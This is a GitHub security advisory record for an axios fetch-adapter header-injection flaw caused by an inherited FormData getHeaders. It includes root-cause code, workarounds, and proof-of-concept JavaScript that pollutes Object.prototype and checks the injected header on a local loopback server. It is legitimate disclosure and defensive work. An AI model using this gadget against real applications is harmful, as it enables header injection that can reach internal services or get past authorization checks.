GHSA-4HQW-QXG8-JXX2
Vulnerability from github – Published: 2026-09-30 15:34 – Updated: 2026-09-30 15:34Summary
Axios contains a guard in the Node HTTP adapter to avoid using an inherited Object.prototype.getHeaders as a FormData header source. The fetch adapter calls the shared resolveConfig() helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes Object.prototype with FormData-like properties and getHeaders(), the fetch adapter can merge attacker-controlled headers into the outbound request.
Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.
Impact
An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.
Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.
Affected Functionality
Affected:
- Fetch adapter requests.
resolveConfig()handling ofutils.isFormData(data).- Request bodies that can be spoofed as FormData through inherited
Symbol.toStringTag,append, andgetHeaders.
Not affected:
- Node HTTP adapter's later FormData header path, which checks
data.getHeaders !== Object.prototype.getHeaders. - Plain object request bodies rejected by current
isFormData()plain-object guard. - Processes without prototype pollution.
Technical Details
lib/helpers/resolveConfig.js currently contains:
if (utils.isFormData(data)) {
if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {
headers.setContentType(undefined);
} else if (utils.isFunction(data.getHeaders)) {
setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}
}
Unlike lib/adapters/http.js, this code does not reject Object.prototype.getHeaders. Local verification on axios 1.18.1 polluted Object.prototype[Symbol.toStringTag], append, and getHeaders, then sent an array body with adapter: 'fetch'. The loopback server received X-Poisoned: yes.
Proof of Concept of Attack
Constrained local demonstration:
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });
await axios.post(url, ['a', 'b'], { adapter: 'fetch' });
Expected safe behavior is that inherited Object.prototype.getHeaders is ignored. Current affected behavior merges the returned header.
Workarounds
Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.
Original report
## Summary The Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`. This is a patch mismatch for the FormData prototype-pollution header-injection class. ## Affected Version Validated on: - axios: `1.17.0` - commit: `4306df2` - runtime: Node.js `v24.15.0` ## Preconditions - Application uses `adapter: 'fetch'`. - A separate prototype-pollution primitive can write: - `Object.prototype[Symbol.toStringTag] = 'FormData'` - `Object.prototype.append = function () {}` - `Object.prototype.getHeaders = function () { ... }` - The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard. ## Root Cause `lib/adapters/http.js` contains:data.getHeaders !== Object.prototype.getHeaders
But `lib/helpers/resolveConfig.js` only checks:
} else if (utils.isFunction(data.getHeaders)) {
setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}
The fetch adapter calls `resolveConfig(config)` before dispatching the request.
## Impact
An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.
## Proof of Concept
import axios from './index.js';
import http from 'http';
const start = (handler) => new Promise((resolve) => {
const server = http.createServer((req, res) => {
let body = '';
req.on('data', (chunk) => (body += chunk));
req.on('end', () => handler(req, res, body));
});
server.listen(0, '127.0.0.1', () => resolve(server));
});
const stop = (server) => new Promise((resolve) => server.close(resolve));
const hits = [];
const tag = Symbol.toStringTag;
const server = await start((req, res, body) => {
hits.push({ headers: req.headers, body });
res.setHeader('Content-Type', 'application/json');
res.end('{"ok":true}');
});
try {
Object.prototype[tag] = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () => {
const headers = Object.create(null);
headers['X-Poisoned'] = 'yes';
return headers;
};
await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {
adapter: 'fetch',
timeout: 3000
});
console.log(hits[0]);
} finally {
delete Object.prototype[tag];
delete Object.prototype.append;
delete Object.prototype.getHeaders;
await stop(server);
}
Observed wire request:
{
"headers": {
"x-poisoned": "yes",
"content-type": "text/plain;charset=UTF-8",
"content-length": "3"
},
"body": "a,b"
}
## References
- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9
- https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9
- Related patch area: `lib/adapters/http.js`, `lib/helpers/resolveConfig.js`
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.12.0"
},
{
"fixed": "1.20.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-101900"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-693",
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-30T15:34:46Z",
"nvd_published_at": "2026-09-28T18:17:18Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios contains a guard in the Node HTTP adapter to avoid using an inherited `Object.prototype.getHeaders` as a FormData header source. The fetch adapter calls the shared `resolveConfig()` helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes `Object.prototype` with FormData-like properties and `getHeaders()`, the fetch adapter can merge attacker-controlled headers into the outbound request.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.\n\n## Impact\n\nAn attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.\n\nPlain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.\n\n## Affected Functionality\n\nAffected:\n\n- Fetch adapter requests.\n- `resolveConfig()` handling of `utils.isFormData(data)`.\n- Request bodies that can be spoofed as FormData through inherited `Symbol.toStringTag`, `append`, and `getHeaders`.\n\nNot affected:\n\n- Node HTTP adapter\u0027s later FormData header path, which checks `data.getHeaders !== Object.prototype.getHeaders`.\n- Plain object request bodies rejected by current `isFormData()` plain-object guard.\n- Processes without prototype pollution.\n\n## Technical Details\n\n`lib/helpers/resolveConfig.js` currently contains:\n\n```js\nif (utils.isFormData(data)) {\n if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {\n headers.setContentType(undefined);\n } else if (utils.isFunction(data.getHeaders)) {\n setFormDataHeaders(headers, data.getHeaders(), own(\u0027formDataHeaderPolicy\u0027));\n }\n}\n```\n\nUnlike `lib/adapters/http.js`, this code does not reject `Object.prototype.getHeaders`. Local verification on axios `1.18.1` polluted `Object.prototype[Symbol.toStringTag]`, `append`, and `getHeaders`, then sent an array body with `adapter: \u0027fetch\u0027`. The loopback server received `X-Poisoned: yes`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype[Symbol.toStringTag] = \u0027FormData\u0027;\nObject.prototype.append = function () {};\nObject.prototype.getHeaders = () =\u003e ({ \u0027X-Poisoned\u0027: \u0027yes\u0027 });\n\nawait axios.post(url, [\u0027a\u0027, \u0027b\u0027], { adapter: \u0027fetch\u0027 });\n```\n\nExpected safe behavior is that inherited `Object.prototype.getHeaders` is ignored. Current affected behavior merges the returned header.\n\n## Workarounds\n\nUse the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.\n\n\u003cdetails\u003e\n \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n \n## Summary\n\nThe Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`.\n\nThis is a patch mismatch for the FormData prototype-pollution header-injection class.\n\n## Affected Version\n\nValidated on:\n\n- axios: `1.17.0`\n- commit: `4306df2`\n- runtime: Node.js `v24.15.0`\n\n## Preconditions\n\n- Application uses `adapter: \u0027fetch\u0027`.\n- A separate prototype-pollution primitive can write:\n - `Object.prototype[Symbol.toStringTag] = \u0027FormData\u0027`\n - `Object.prototype.append = function () {}`\n - `Object.prototype.getHeaders = function () { ... }`\n- The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard.\n\n## Root Cause\n\n`lib/adapters/http.js` contains:\n\n```js\ndata.getHeaders !== Object.prototype.getHeaders\n```\n\nBut `lib/helpers/resolveConfig.js` only checks:\n\n```js\n} else if (utils.isFunction(data.getHeaders)) {\n setFormDataHeaders(headers, data.getHeaders(), own(\u0027formDataHeaderPolicy\u0027));\n}\n```\n\nThe fetch adapter calls `resolveConfig(config)` before dispatching the request.\n\n## Impact\n\nAn attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.\n\n## Proof of Concept\n\n```js\nimport axios from \u0027./index.js\u0027;\nimport http from \u0027http\u0027;\n\nconst start = (handler) =\u003e new Promise((resolve) =\u003e {\n const server = http.createServer((req, res) =\u003e {\n let body = \u0027\u0027;\n req.on(\u0027data\u0027, (chunk) =\u003e (body += chunk));\n req.on(\u0027end\u0027, () =\u003e handler(req, res, body));\n });\n server.listen(0, \u0027127.0.0.1\u0027, () =\u003e resolve(server));\n});\n\nconst stop = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst hits = [];\nconst tag = Symbol.toStringTag;\n\nconst server = await start((req, res, body) =\u003e {\n hits.push({ headers: req.headers, body });\n res.setHeader(\u0027Content-Type\u0027, \u0027application/json\u0027);\n res.end(\u0027{\"ok\":true}\u0027);\n});\n\ntry {\n Object.prototype[tag] = \u0027FormData\u0027;\n Object.prototype.append = function () {};\n Object.prototype.getHeaders = () =\u003e {\n const headers = Object.create(null);\n headers[\u0027X-Poisoned\u0027] = \u0027yes\u0027;\n return headers;\n };\n\n await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, [\u0027a\u0027, \u0027b\u0027], {\n adapter: \u0027fetch\u0027,\n timeout: 3000\n });\n\n console.log(hits[0]);\n} finally {\n delete Object.prototype[tag];\n delete Object.prototype.append;\n delete Object.prototype.getHeaders;\n await stop(server);\n}\n```\n\nObserved wire request:\n\n```json\n{\n \"headers\": {\n \"x-poisoned\": \"yes\",\n \"content-type\": \"text/plain;charset=UTF-8\",\n \"content-length\": \"3\"\n },\n \"body\": \"a,b\"\n}\n```\n\n## References\n\n- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9\n- https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9\n- Related patch area: `lib/adapters/http.js`, `lib/helpers/resolveConfig.js`\n\u003c/details\u003e\n\n---",
"id": "GHSA-4hqw-qxg8-jxx2",
"modified": "2026-09-30T15:34:46Z",
"published": "2026-09-30T15:34:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101900"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11141"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.20.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.